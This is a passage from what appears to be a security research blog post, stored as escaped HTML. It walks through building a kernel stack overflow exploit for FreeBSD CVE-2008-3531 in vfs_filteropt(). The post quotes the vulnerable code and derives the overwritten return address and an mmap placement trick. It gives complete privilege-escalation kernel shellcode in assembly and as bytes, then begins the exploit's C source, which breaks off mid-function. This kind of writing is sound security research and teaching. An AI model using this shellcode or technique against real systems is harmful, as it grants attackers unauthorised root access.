href=\"http:\/\/security.freebsd.org\/advisories\/FreeBSD-SA-08:08.nmount.asc\">FreeBSD-SA-08:08.nmount<\/a>.\nIn this post I will use this vulnerability to provide an overview of the development\nprocess for FreeBSD kernel stack exploits.<\/p>\n\n<p>CVE-2008-3531 is a kernel stack overflow vulnerability that affects FreeBSD \nversions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 7.1-STABLE as the \nCVE entry seems to suggest.<\/p>\n\n<p>The bug is in function <code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code> at <code class=\"language-plaintext highlighter-rouge\">src\/sys\/kern\/vfs_mount.c<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">1800<\/span><span class=\"o\">:<\/span>    <span class=\"kt\">int<\/span>\n<span class=\"mi\">1801<\/span><span class=\"o\">:<\/span>    <span class=\"n\">vfs_filteropt<\/span><span class=\"p\">(<\/span><span class=\"k\">struct<\/span> <span class=\"n\">vfsoptlist<\/span> <span class=\"o\">*<\/span><span class=\"n\">opts<\/span><span class=\"p\">,<\/span> <span class=\"k\">const<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">**<\/span><span class=\"n\">legal<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1802<\/span><span class=\"o\">:<\/span>    <span class=\"p\">{<\/span>\n<span class=\"mi\">1803<\/span><span class=\"o\">:<\/span>        <span class=\"k\">struct<\/span> <span class=\"n\">vfsopt<\/span> <span class=\"o\">*<\/span><span class=\"n\">opt<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1804<\/span><span class=\"o\">:<\/span>        <span class=\"kt\">char<\/span> <span class=\"n\">errmsg<\/span><span class=\"p\">[<\/span><span class=\"mi\">255<\/span><span class=\"p\">];<\/span>\n<span class=\"mi\">1805<\/span><span class=\"o\">:<\/span>        <span class=\"k\">const<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">**<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"o\">*<\/span><span class=\"n\">p<\/span><span class=\"p\">,<\/span> <span class=\"o\">*<\/span><span class=\"n\">q<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1806<\/span><span class=\"o\">:<\/span>        <span class=\"kt\">int<\/span> <span class=\"n\">ret<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1807<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">1808<\/span><span class=\"o\">:<\/span>        <span class=\"n\">TAILQ_FOREACH<\/span><span class=\"p\">(<\/span><span class=\"n\">opt<\/span><span class=\"p\">,<\/span> <span class=\"n\">opts<\/span><span class=\"p\">,<\/span> <span class=\"n\">link<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1809<\/span><span class=\"o\">:<\/span>                <span class=\"n\">p<\/span> <span class=\"o\">=<\/span> <span class=\"n\">opt<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">name<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1810<\/span><span class=\"o\">:<\/span>                <span class=\"n\">q<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1811<\/span><span class=\"o\">:<\/span>                <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"sc\">'n'<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"sc\">'o'<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1812<\/span><span class=\"o\">:<\/span>                        <span class=\"n\">q<\/span> <span class=\"o\">=<\/span> <span class=\"n\">p<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">2<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1813<\/span><span class=\"o\">:<\/span>                <span class=\"k\">for<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"n\">global_opts<\/span><span class=\"p\">;<\/span> <span class=\"o\">*<\/span><span class=\"n\">t<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span> <span class=\"n\">t<\/span><span class=\"o\">++<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1814<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strcmp<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">p<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1815<\/span><span class=\"o\">:<\/span>                                <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1816<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">q<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1817<\/span><span class=\"o\">:<\/span>                                <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strcmp<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">q<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1818<\/span><span class=\"o\">:<\/span>                                        <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1819<\/span><span class=\"o\">:<\/span>                        <span class=\"p\">}<\/span>\n<span class=\"mi\">1820<\/span><span class=\"o\">:<\/span>                <span class=\"p\">}<\/span>\n<span class=\"mi\">1821<\/span><span class=\"o\">:<\/span>                <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1822<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">continue<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1823<\/span><span class=\"o\">:<\/span>                <span class=\"k\">for<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"n\">legal<\/span><span class=\"p\">;<\/span> <span class=\"o\">*<\/span><span class=\"n\">t<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span> <span class=\"n\">t<\/span><span class=\"o\">++<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1824<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strcmp<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">p<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1825<\/span><span class=\"o\">:<\/span>                                <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1826<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">q<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1827<\/span><span class=\"o\">:<\/span>                                <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strcmp<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">q<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1828<\/span><span class=\"o\">:<\/span>                                        <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1829<\/span><span class=\"o\">:<\/span>                        <span class=\"p\">}<\/span>\n<span class=\"mi\">1830<\/span><span class=\"o\">:<\/span>                <span class=\"p\">}<\/span>\n<span class=\"mi\">1831<\/span><span class=\"o\">:<\/span>                <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">1832<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">continue<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1833<\/span><span class=\"o\">:<\/span>                <span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">errmsg<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"mount option &lt;%s&gt; is unknown\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">p<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1834<\/span><span class=\"o\">:<\/span>                <span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">\"%s<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">errmsg<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1835<\/span><span class=\"o\">:<\/span>                <span class=\"n\">ret<\/span> <span class=\"o\">=<\/span> <span class=\"n\">EINVAL<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1836<\/span><span class=\"o\">:<\/span>        <span class=\"p\">}<\/span>\n<span class=\"mi\">1837<\/span><span class=\"o\">:<\/span>        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">ret<\/span> <span class=\"o\">!=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1838<\/span><span class=\"o\">:<\/span>                <span class=\"n\">TAILQ_FOREACH<\/span><span class=\"p\">(<\/span><span class=\"n\">opt<\/span><span class=\"p\">,<\/span> <span class=\"n\">opts<\/span><span class=\"p\">,<\/span> <span class=\"n\">link<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1839<\/span><span class=\"o\">:<\/span>                        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strcmp<\/span><span class=\"p\">(<\/span><span class=\"n\">opt<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">name<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"errmsg\"<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1840<\/span><span class=\"o\">:<\/span>                              <span class=\"n\">strncpy<\/span><span class=\"p\">((<\/span><span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">opt<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">value<\/span><span class=\"p\">,<\/span> <span class=\"n\">errmsg<\/span><span class=\"p\">,<\/span> <span class=\"n\">opt<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">len<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1841<\/span><span class=\"o\">:<\/span>                        <span class=\"p\">}<\/span>\n<span class=\"mi\">1842<\/span><span class=\"o\">:<\/span>                <span class=\"p\">}<\/span>\n<span class=\"mi\">1843<\/span><span class=\"o\">:<\/span>        <span class=\"p\">}<\/span>\n<span class=\"mi\">1844<\/span><span class=\"o\">:<\/span>        <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"n\">ret<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1845<\/span><span class=\"o\">:<\/span>    <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>The first step of the exploit development process involves identifying the \nvulnerability\u2019s conditions and assessing its impact.<\/p>\n\n<p>In line 1833 <code class=\"language-plaintext highlighter-rouge\">sprintf()<\/code> is used to write an error message to a locally \ndeclared static buffer, namely <code class=\"language-plaintext highlighter-rouge\">errmsg<\/code> declared in line 1804 with a size of \n255 bytes. The variable <code class=\"language-plaintext highlighter-rouge\">p<\/code> used in <code class=\"language-plaintext highlighter-rouge\">sprintf()<\/code> is a pointer to the mount \noption\u2019s name. Conceptually a mount option is a tuple of the form (name, \nvalue). The vulnerable <code class=\"language-plaintext highlighter-rouge\">sprintf()<\/code> call can be reached from userland when \n<code class=\"language-plaintext highlighter-rouge\">p<\/code>\u2019s (i.e. the mount option\u2019s name) corresponding value is \ninvalid, but not NULL (due to the checks performed in the first <code class=\"language-plaintext highlighter-rouge\">TAILQ_FOREACH<\/code> \nloop). For example, the tuple (\u201cAAAA\u201d, BBBB\u201d) \nsatisfies this condition; the mount option\u2019s value is the string \n\u201cBBBB\u201d which is invalid and not NULL therefore <code class=\"language-plaintext highlighter-rouge\">p<\/code> would point to \nthe string \u201cAAAA\u201d. Both the mount option\u2019s name (<code class=\"language-plaintext highlighter-rouge\">p<\/code>) and the \nmount option\u2019s value are user-controlled. This allows the overflow of the \n<code class=\"language-plaintext highlighter-rouge\">errmsg<\/code> buffer by supplying a mount option name of arbitrary length and as we \nwill see below, less importantly in this case, arbitrary content. Since \n<code class=\"language-plaintext highlighter-rouge\">errmsg<\/code> is on a kernel stack, we can use the overflow to corrupt the current \nstack frame\u2019s saved return address with the ultimate goal of diverting \nthe kernel\u2019s execution flow to code of our own choosing.<\/p>\n\n<p>Now that we have explored the conditions and concluded that we can indeed \nachieve arbitrary code execution we have to explore the ways we can trigger the \nvulnerability. There are many possible execution paths to reach \n<code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code> from userland. After browsing FreeBSD\u2019s file system \nstacking source code for a couple of minutes I decided to use the following:<\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">nmount() -&gt; vfs_donmount() -&gt; msdosfs_mount() -&gt; vfs_filteropt()<\/code><\/p>\n\n<p>By default on FreeBSD the\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=nmount&amp;apropos=0&amp;sektion=2&amp;manpath=FreeBSD+7.0-RELEASE&amp;format=html\"><code class=\"language-plaintext highlighter-rouge\">nmount(2)<\/code><\/a>\nsystem call can only be called by root. In order for it to be enabled for\nunprivileged users the\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=sysctl&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+7.0-RELEASE\"><code class=\"language-plaintext highlighter-rouge\">sysctl(8)<\/code><\/a>\nvariable <code class=\"language-plaintext highlighter-rouge\">vfs.usermount<\/code> must be set to a non-zero value.<\/p>\n\n<p>At this point we know that the vulnerability can potentially lead to arbitrary \ncode execution and how to trigger it. The next step is to find a place to store \nour arbitrary code and divert the kernel\u2019s execution flow to that memory \naddress. Due to the structure of the format string used in the <code class=\"language-plaintext highlighter-rouge\">sprintf()<\/code> \ncall, we do not have direct control of the value that overwrites the saved \nreturn address in <code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code>\u2019s kernel stack frame.<\/p>\n\n<p>However, indirect control is more than enough to achieve arbitrary code \nexecution. When <code class=\"language-plaintext highlighter-rouge\">p<\/code> points to a string of 248 \u2018A\u2019s followed by NULL \n(i.e. 248 * \u2018A\u2019 + \u2018\\0\u2019) the saved return address is \noverwritten with the value <code class=\"language-plaintext highlighter-rouge\">0x6e776f<\/code>, that is the \u201cnwo\u201d of \n\u201cunknown\u201d in the <code class=\"language-plaintext highlighter-rouge\">sprintf()<\/code>\u2019s format string. Using the \nexploitation methodology of kernel NULL pointer dereference vulnerabilities, we \ncan use\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=mmap&amp;apropos=0&amp;sektion=2&amp;manpath=FreeBSD+7.0-RELEASE&amp;format=html\"><code class=\"language-plaintext highlighter-rouge\">mmap(2)<\/code><\/a>\nto map memory at the page boundary <code class=\"language-plaintext highlighter-rouge\">0x6e7000<\/code>. Then we can \nplace our arbitrary kernel shellcode <code class=\"language-plaintext highlighter-rouge\">0x76f<\/code> bytes after that. Therefore, when \nthe corrupted saved return address with the value <code class=\"language-plaintext highlighter-rouge\">0x6e776f<\/code> is restored into the \nEIP register the kernel will execute our instructions that have been mapped to \nthis address.<\/p>\n\n<p>The next step in the exploit development process is to write these \ninstructions. Specifically, our kernel shellcode should:<\/p>\n\n<ul>\n  <li>locate the credentials of the user that triggers the vulnerability and \nescalate his privileges,<\/li>\n  <li>ensure kernel continuation. In other words, the system must be kept in a \nrunning condition and stable after exploitation.<\/li>\n<\/ul>\n\n<p>User credentials specifying the process owner\u2019s privileges in FreeBSD are \nstored in a structure of type <code class=\"language-plaintext highlighter-rouge\">ucred<\/code> defined at <code class=\"language-plaintext highlighter-rouge\">src\/sys\/ucred.h<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">45<\/span><span class=\"o\">:<\/span>  <span class=\"k\">struct<\/span> <span class=\"n\">ucred<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">46<\/span><span class=\"o\">:<\/span>      <span class=\"n\">u_int<\/span>   <span class=\"n\">cr_ref<\/span><span class=\"p\">;<\/span>                 <span class=\"cm\">\/* reference count *\/<\/span>\n<span class=\"mi\">47<\/span><span class=\"o\">:<\/span>  <span class=\"err\">#<\/span><span class=\"n\">define<\/span> <span class=\"n\">cr_startcopy<\/span> <span class=\"n\">cr_uid<\/span>\n<span class=\"mi\">48<\/span><span class=\"o\">:<\/span>      <span class=\"n\">uid_t<\/span>   <span class=\"n\">cr_uid<\/span><span class=\"p\">;<\/span>                 <span class=\"cm\">\/* effective user id *\/<\/span>\n<span class=\"mi\">49<\/span><span class=\"o\">:<\/span>      <span class=\"n\">uid_t<\/span>   <span class=\"n\">cr_ruid<\/span><span class=\"p\">;<\/span>                <span class=\"cm\">\/* real user id *\/<\/span>\n<span class=\"mi\">50<\/span><span class=\"o\">:<\/span>      <span class=\"n\">uid_t<\/span>   <span class=\"n\">cr_svuid<\/span><span class=\"p\">;<\/span>               <span class=\"cm\">\/* saved user id *\/<\/span>\n<span class=\"mi\">51<\/span><span class=\"o\">:<\/span>      <span class=\"kt\">short<\/span>   <span class=\"n\">cr_ngroups<\/span><span class=\"p\">;<\/span>             <span class=\"cm\">\/* number of groups *\/<\/span>\n<span class=\"mi\">52<\/span><span class=\"o\">:<\/span>      <span class=\"n\">gid_t<\/span>   <span class=\"n\">cr_groups<\/span><span class=\"p\">[<\/span><span class=\"n\">NGROUPS<\/span><span class=\"p\">];<\/span>     <span class=\"cm\">\/* groups *\/<\/span>\n<span class=\"mi\">53<\/span><span class=\"o\">:<\/span>      <span class=\"n\">gid_t<\/span>   <span class=\"n\">cr_rgid<\/span><span class=\"p\">;<\/span>                <span class=\"cm\">\/* real group id *\/<\/span>\n<span class=\"mi\">54<\/span><span class=\"o\">:<\/span>      <span class=\"n\">gid_t<\/span>   <span class=\"n\">cr_svgid<\/span><span class=\"p\">;<\/span>               <span class=\"cm\">\/* saved group id *\/<\/span>\n           <span class=\"p\">...<\/span><\/code><\/pre><\/figure>\n\n<p>A pointer to the <code class=\"language-plaintext highlighter-rouge\">ucred<\/code> structure exists in a structure of type <code class=\"language-plaintext highlighter-rouge\">proc<\/code> defined \nat <code class=\"language-plaintext highlighter-rouge\">src\/sys\/proc.h<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">484<\/span><span class=\"o\">:<\/span>  <span class=\"k\">struct<\/span> <span class=\"n\">proc<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">485<\/span><span class=\"o\">:<\/span>   <span class=\"n\">LIST_ENTRY<\/span><span class=\"p\">(<\/span><span class=\"n\">proc<\/span><span class=\"p\">)<\/span> <span class=\"n\">p_list<\/span><span class=\"p\">;<\/span>            <span class=\"cm\">\/* (d) List of all processes. *\/<\/span>\n<span class=\"mi\">486<\/span><span class=\"o\">:<\/span>   <span class=\"n\">TAILQ_HEAD<\/span><span class=\"p\">(,<\/span> <span class=\"kr\">thread<\/span><span class=\"p\">)<\/span> <span class=\"n\">p_threads<\/span><span class=\"p\">;<\/span>     <span class=\"cm\">\/* (j) all threads. *\/<\/span>\n<span class=\"mi\">487<\/span><span class=\"o\">:<\/span>   <span class=\"n\">TAILQ_HEAD<\/span><span class=\"p\">(,<\/span> <span class=\"n\">kse_upcall<\/span><span class=\"p\">)<\/span> <span class=\"n\">p_upcalls<\/span><span class=\"p\">;<\/span> <span class=\"cm\">\/* (j) All upcalls in the proc. *\/<\/span>\n<span class=\"mi\">488<\/span><span class=\"o\">:<\/span>   <span class=\"k\">struct<\/span> <span class=\"n\">mtx<\/span>      <span class=\"n\">p_slock<\/span><span class=\"p\">;<\/span>            <span class=\"cm\">\/* process spin lock *\/<\/span>\n<span class=\"mi\">489<\/span><span class=\"o\">:<\/span>   <span class=\"k\">struct<\/span> <span class=\"n\">ucred<\/span>    <span class=\"o\">*<\/span><span class=\"n\">p_ucred<\/span><span class=\"p\">;<\/span>           <span class=\"cm\">\/* (c) Process owner's identity. *\/<\/span>\n           <span class=\"p\">...<\/span><\/code><\/pre><\/figure>\n\n<p>The address of the <code class=\"language-plaintext highlighter-rouge\">proc<\/code> structure can be dynamically located at runtime from \nunprivileged processes in a number of ways:<\/p>\n\n<ul>\n  <li>The <a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=sysctl&amp;sektion=3&amp;apropos=0&amp;manpath=FreeBSD+7.0-RELEASE\"><code class=\"language-plaintext highlighter-rouge\">sysctl(3)<\/code><\/a>\n<code class=\"language-plaintext highlighter-rouge\">kern.proc.pid<\/code> kernel interface and the <code class=\"language-plaintext highlighter-rouge\">kinfo_proc<\/code> structure.<\/li>\n  <li>The <code class=\"language-plaintext highlighter-rouge\">allproc<\/code> symbol that the FreeBSD kernel exports by default.<\/li>\n  <li>The <code class=\"language-plaintext highlighter-rouge\">curthread<\/code> pointer from the <code class=\"language-plaintext highlighter-rouge\">pcpu<\/code> structure (segment FS in kernel \ncontext points to it).<\/li>\n<\/ul>\n\n<p>You can find more information about the first alternative in the\n<a href=\"http:\/\/census-labs.com\/research\/#kernexp\">talk<\/a> I \ngave on FreeBSD kernel stack overflows at the University of Piraeus Software \nLibre Society, Event #16: Computer Security (unfortunately the slides from the \ntalk are only available in Greek currently). The second alternative will be the \nsubject of a future post. In the developed exploit I will use the third \nalternative.<\/p>\n\n<p>The other task that our shellcode should perform is to maintain the stability \nof the system by ensuring the kernel\u2019s continuation. One way to approach \nthis would be to port Silvio Cesare\u2019s \u201ciret\u201d return to \nuserland approach (presented at his \u201cOpen source kernel auditing and \nexploitation\u201d <a href=\"http:\/\/www.blackhat.com\/presentations\/bh-usa-03\/bh-us-03-cesare.pdf\">Black Hat\ntalk<\/a>)\nto FreeBSD. Although a full  investigation of Silvio\u2019s \u201ciret\u201d technique on FreeBSD would \nbe very interesting, it is beyond the scope of this post.<\/p>\n\n<p>In order to successfully return to userland from the kernel shellcode I will \nuse another approach. Remember that the execution path I decided to take is \n<code class=\"language-plaintext highlighter-rouge\">nmount() -&gt; vfs_donmount() -&gt; msdosfs_mount() -&gt; vfs_filteropt()<\/code>. After the \nshellcode has performed privilege escalation it could return to where \n<code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code> was supposed to return, that is in <code class=\"language-plaintext highlighter-rouge\">msdosfs_mount()<\/code>. However \nthat is not possible since <code class=\"language-plaintext highlighter-rouge\">msdosfs_mount()<\/code>\u2019s saved registers have been \ncorrupted when <code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code>\u2019s stack frame was smashed by the \noverflow. The values of these saved registers cannot be restored, consequently \nthere is no safe way to return to <code class=\"language-plaintext highlighter-rouge\">msdosfs_mount()<\/code> after privilege escalation. \nThe solution I have implemented in the exploit bypasses <code class=\"language-plaintext highlighter-rouge\">msdosfs_mount()<\/code> \ncompletely and returns to the pre-previous from <code class=\"language-plaintext highlighter-rouge\">vfs_filteropt()<\/code> function, \nnamely <code class=\"language-plaintext highlighter-rouge\">vfs_donmount()<\/code>. The saved registers\u2019 values of <code class=\"language-plaintext highlighter-rouge\">vfs_donmount()<\/code> \nare uncorrupted in <code class=\"language-plaintext highlighter-rouge\">msdosfs_mount()<\/code>\u2019s stack frame. To make this more \nclear, consider the following pseudocode that is based on the relevant \ndeadlisting part:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"cm\">\/* this function's saved registers' values are uncorrupted *\/<\/span>\n<span class=\"n\">vfs_donmount<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"p\">...<\/span>\n    <span class=\"n\">msdosfs_mount<\/span><span class=\"p\">();<\/span>\n    <span class=\"p\">...<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"n\">msdosfs_mount<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"p\">...<\/span>\n    <span class=\"n\">vfs_filteropt<\/span><span class=\"p\">();<\/span>\n    <span class=\"p\">...<\/span>\n    <span class=\"cm\">\/* stack cleanup, restore saved registers *\/<\/span>\n    <span class=\"n\">addl<\/span>    <span class=\"err\">$<\/span><span class=\"mh\">0xe8<\/span><span class=\"p\">,<\/span> <span class=\"o\">%<\/span><span class=\"n\">esp<\/span>\n    <span class=\"n\">popl<\/span>    <span class=\"o\">%<\/span><span class=\"n\">ebx<\/span>\n    <span class=\"n\">popl<\/span>    <span class=\"o\">%<\/span><span class=\"n\">esi<\/span>\n    <span class=\"n\">popl<\/span>    <span class=\"o\">%<\/span><span class=\"n\">edi<\/span>\n    <span class=\"n\">popl<\/span>    <span class=\"o\">%<\/span><span class=\"n\">ebp<\/span>\n    <span class=\"n\">ret<\/span>\n<span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>Taking into consideration the above analysis, the complete kernel shellcode for \nthe developed exploit is the following (you can download it from\n<a href=\"http:\/\/census-labs.com\/media\/cve-2008-3531-kernelcode.s\">here<\/a>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-asm\" data-lang=\"asm\">.global _start\n_start:\n\nmovl    %fs:0, %eax         # get curthread\nmovl    0x4(%eax), %eax     # get proc from curthread\nmovl    0x30(%eax), %eax    # get ucred from proc\nxorl    %ecx, %ecx          # ecx = 0\nmovl    %ecx, 0x4(%eax)     # ucred.uid = 0\nmovl    %ecx, 0x8(%eax)     # ucred.ruid = 0\n\n# return to the pre-previous function, i.e. vfs_donmount()\naddl    $0xe8, %esp\npopl    %ebx\npopl    %esi\npopl    %edi\npopl    %ebp\nret<\/code><\/pre><\/figure>\n\n<p>Now we have a way to safely return from kernel to userland and ensure the \ncontinuation of the exploited system. The complete exploit is (you can download \nit from <a href=\"http:\/\/census-labs.com\/media\/cve-2008-3531.c\">here<\/a>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"cp\">#include &lt;sys\/param.h&gt;\n#include &lt;sys\/mount.h&gt;\n#include &lt;sys\/uio.h&gt;\n#include &lt;err.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sysexits.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/stat.h&gt;\n#include &lt;sys\/mman.h&gt;\n<\/span>\n<span class=\"cp\">#define BUFSIZE     249\n<\/span>\n<span class=\"cp\">#define PAGESIZE    4096\n#define ADDR        0x6e7000\n#define OFFSET      1903\n<\/span>\n<span class=\"cp\">#define FSNAME      \"msdosfs\"\n#define DIRPATH     \"\/tmp\/msdosfs\"\n<\/span>\n<span class=\"kt\">unsigned<\/span> <span class=\"kt\">char<\/span> <span class=\"n\">kernelcode<\/span><span class=\"p\">[]<\/span> <span class=\"o\">=<\/span>\n    <span class=\"s\">\"<\/span><span class=\"se\">\\x64\\xa1\\x00\\x00\\x00\\x00\\x8b\\x40\\x04\\x8b\\x40\\x30<\/span><span class=\"s\">\"<\/span>\n    <span class=\"s\">\"<\/span><span class=\"se\">\\x31\\xc9\\x89\\x48\\x04\\x89\\x48\\x08\\x81\\xc4\\xe8\\x00<\/span><span class=\"s\">\"<\/span>\n    <span class=\"s\">\"<\/span><span class=\"se\">\\x00\\x00\\x5b\\x5e\\x5f\\x5d\\xc3<\/span><span class=\"s\">\"<\/span><span class=\"p\">;<\/span>\n\n<span class=\"kt\">int<\/span>\n<span class=\"nf\">main<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">vptr<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">struct<\/span> <span class=\"n\">iovec<\/span> <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">6<\/span><span class=\"p\">];<\/span>\n\n    <span class=\"n\">vptr<\/span> <span class=\"o\">=<\/span> <span class=\"n\">mmap<\/span><span class=\"p\">((<\/span><span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"p\">)<\/span><span 